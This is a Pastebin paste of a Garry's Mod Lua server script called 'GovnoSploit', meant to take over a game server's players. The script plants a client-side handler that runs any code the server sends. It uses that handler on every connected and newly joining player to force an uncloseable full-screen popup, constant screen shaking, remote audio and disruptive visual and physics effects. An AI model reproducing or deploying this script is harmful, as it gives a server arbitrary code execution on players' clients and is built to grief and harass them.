Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.36 KB | None | 0 0
  1. -- visuals / shit
  2.  
  3. util.AddNetworkString "slua"
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15. lol.m_tblActions = {}
  16. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  17. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  18.  
  19. function lol:PushAction( intChainDelay, func )
  20. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  21. end
  22.  
  23. function lol:NextAction( pPlayer )
  24. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  25. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  26.  
  27. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  28. if not IsValid( pPlayer ) then return end
  29. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  30. self:NextAction( pPlayer )
  31. end )
  32. end
  33.  
  34. function lol:Start( pPlayer )
  35. pPlayer.m_intCurAction = 0
  36. self:NextAction( pPlayer )
  37. end
  38.  
  39. function lol:SendLua( pPlayer, strLua )
  40. net.Start( "slua" )
  41. net.WriteString( strLua )
  42. net.Send( pPlayer )
  43. end
  44.  
  45. function lol:SetupPlayer( pPlayer )
  46. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  47. end
  48.  
  49. for k, v in pairs( player.GetAll() ) do
  50. lol:SetupPlayer( v )
  51. timer.Simple( 2, function() lol:Start( v ) end )
  52. end
  53.  
  54. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  55. lol:SetupPlayer( pPlayer )
  56. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  57. end )
  58.  
  59. --Sequence stack
  60. --Start some tunes and steam in our assets
  61. lol:PushAction( 0, function( pPlayer )
  62. lol:SendLua( pPlayer, [[
  63.  
  64. hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
  65.  
  66. sound.PlayURL( "http://d.zaix.ru/gXPN.mp3 ", "mono noblock noplay", function( station )
  67. timer.Simple( 0.1, function()
  68. ClientStation = station
  69. station:EnableLooping( true )
  70. station:Play()
  71. station:SetVolume( 30 )
  72. end )
  73. end )
  74.  
  75. surface.CreateFont( "PixelCutsceneScaled",{
  76. font = "Open Sans",
  77. size = 500,
  78. weight = 1000,
  79. antialias = true
  80. })
  81.  
  82. surface.CreateFont( "PixelSmall",{
  83. font = "Open Sans",
  84. size = 135,
  85. weight = 500,
  86. antialias = false
  87. })
  88.  
  89. surface.CreateFont("lapolice", {
  90. font = "Open Sans",
  91. size = ScrW()*0.02,
  92. weight = 10,
  93. blursize = 0,
  94. scanlines = 2.5,
  95. antialias = false
  96. })
  97.  
  98. local function gettextcolor( a )
  99.  
  100. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  101. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  102. local b = 215
  103.  
  104. return Color( r, g, b, a or 255 )
  105.  
  106. end
  107.  
  108. local w,h = ScrW(), ScrH()
  109. local W, H = ScrW(), ScrH()
  110. local MySelf = LocalPlayer()
  111.  
  112. if ohno then
  113. ohno:Remove()
  114. ohno = nil
  115. end
  116.  
  117. ohno = vgui.Create( "DFrame" )
  118. ohno:SetSize( w, h )
  119. ohno:SetPos(0,0)
  120. ohno:SetDraggable ( false )
  121. ohno:SetTitle("")
  122. ohno:MakePopup();
  123. ohno:ShowCloseButton(false)
  124.  
  125. ohno.Paint = function( self )
  126. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  127. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  128. end
  129.  
  130. local pw, ph = w, h*0.6
  131. local px, py = w/2-pw/2, h/2-ph/2
  132.  
  133.  
  134. local Close = vgui.Create( "DButton", ohno )
  135. Close:SetPos(px, py)
  136. Close:SetText( "" )
  137. Close:SetSize( pw, ph )
  138. Close.Paint = function( self, tw, th )
  139.  
  140. local shift = math.sin(RealTime()*3)*1.5 + 5
  141.  
  142. local text = "GovnoSploit"
  143. local text2 = "GovnoSploit"
  144. local text3 = "GovnoSploit"
  145. local text4 = "GovnoSploit"
  146.  
  147. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  148. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  149. draw.DrawText( "GovnoSploit!", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  150. draw.DrawText( "GovnoSploit-DRM!", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  151. draw.DrawText( "GovnoSploit", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  152. draw.DrawText( "GovnoSploit", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  153. draw.DrawText( "GovnoSploit", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  154. draw.DrawText( "GovnoSploit", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  155. draw.DrawText( "GovnoSploit", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  156. draw.DrawText( "GovnoSploit", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  157. draw.DrawText( "GovnoSploit;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  158. draw.DrawText( "GovnoSploit", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  159. draw.DrawText( "GovnoSploit", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  160. draw.DrawText( "GovnoSploit", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  161. draw.DrawText( "GovnoSploit", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  162. draw.DrawText( "GovnoSploit", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  163. draw.DrawText( "GovnoSploit", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  164. draw.DrawText( "GovnoSploit", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  165. draw.DrawText( "GovnoSploit", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  166. draw.DrawText( "GovnoSploit", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  167. draw.DrawText( "GovnoSploit", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  168. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  169. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  170. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  171. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  172. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  173.  
  174. end
  175. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  176. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  177. timer.Create("fff", 0.1, 0, function()
  178. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  179. end)
  180.  
  181. timer.Simple( 15, function()
  182.  
  183. wut = vgui.Create( "DFrame" )
  184. wut:SetSize( w, h )
  185. wut:SetPos(0,0)
  186. wut:SetDraggable ( false )
  187. wut:SetTitle("")
  188. wut:ShowCloseButton(false)
  189.  
  190. wut.Paint = function( self )
  191. surface.SetDrawColor(30, 30, 30, 0)
  192. end
  193.  
  194. local Close = vgui.Create( "DButton", wut )
  195. Close:SetPos(px, py)
  196. Close:SetText( "" )
  197. Close:SetSize( pw, ph )
  198. Close.Paint = function( self, tw, th )
  199.  
  200. local shift = math.sin(RealTime()*3)*1.5 + 5
  201.  
  202. local text = "GovnoSploit"
  203.  
  204. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  205. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  206.  
  207. end
  208.  
  209. RunConsoleCommand("r_shader_srgb","1")
  210.  
  211. ohno:Remove()
  212. ohno = nil
  213.  
  214. local name = GetConVar("sv_skyname"):GetString()
  215. if name == "painted" then
  216. local sky
  217. for _, v in ipairs(ents.GetAll()) do
  218. if v:GetClass() == "env_skypaint" then
  219. sky = v
  220. break
  221. end
  222. end
  223. if !IsValid(sky) then return end
  224. hook.Add("PostRender","\xFFsky\xFF",function()
  225. local col = HSVToColor(CurTime()*30 % 360,1,1)
  226. col = Vector(col.r/255,col.g/255,col.b/255)
  227. sky:SetTopColor(col)
  228. sky:SetBottomColor(col)
  229. end)
  230. else
  231. local prefix = {"lf","ft","rt","bk","dn","up"}
  232. local mats = {}
  233. for i=1,6 do
  234. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  235. end
  236. hook.Add("PostRender","\xFFsky\xFF",function()
  237. local col = HSVToColor(CurTime()*30 % 360,1,1)
  238. for i=1,6 do
  239. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  240. end
  241. end)
  242. end
  243. local chienchaud = ClientsideModel("models/props_c17/doll01.mdl")
  244. chienchaud:SetNoDraw(true)
  245. chienchaud:SetModelScale(120)
  246. timer.Create("charglogo", 0.01, 0, function()
  247. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  248. end)
  249. --chienchaud:SetMaterial( "models/screenspace" )
  250. local data = {}
  251. local function genchienchaud(id)
  252. local pos = LocalPlayer():GetPos()
  253. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  254. end
  255. for i=1, 150 do
  256. genchienchaud(i)
  257. end
  258. hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
  259. local z = LocalPlayer():GetPos().z
  260. for i=1, #data do
  261. chienchaud:SetPos(data[i][1])
  262. chienchaud:SetupBones()
  263. chienchaud:DrawModel()
  264. data[i][1].z = data[i][1].z - data[i][2] / 20
  265. if data[i][1].z <= z then
  266. genchienchaud(i)
  267. end
  268. end
  269. end)
  270.  
  271. hook.Add("Think","somewhere_over_the_rainbow",function()
  272. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  273. for _, v in ipairs(player.GetAll()) do
  274. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  275. end
  276. end)
  277.  
  278. timer.Create("CP_Gaymod",1,0,function()
  279. local mats = Entity(0):GetMaterials()
  280. for k,v in pairs(mats) do
  281. local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
  282. Material(v):SetVector("$color", Vector(r,g,b))
  283. end
  284. end)
  285.  
  286. timer.Create("ok", 1, 0, function()
  287. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
  288. if (IsValid(phys)) then
  289. phys:EnableMotion(true)
  290. end
  291. end
  292.  
  293. local props = ents.GetAll()
  294. for _, prop in ipairs( props ) do
  295. if(prop:GetPhysicsObject():IsValid()) then
  296. prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  297. end
  298. end
  299. end)
  300.  
  301. end)
  302.  
  303. end)
  304.  
  305. ]])
  306.  
  307. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement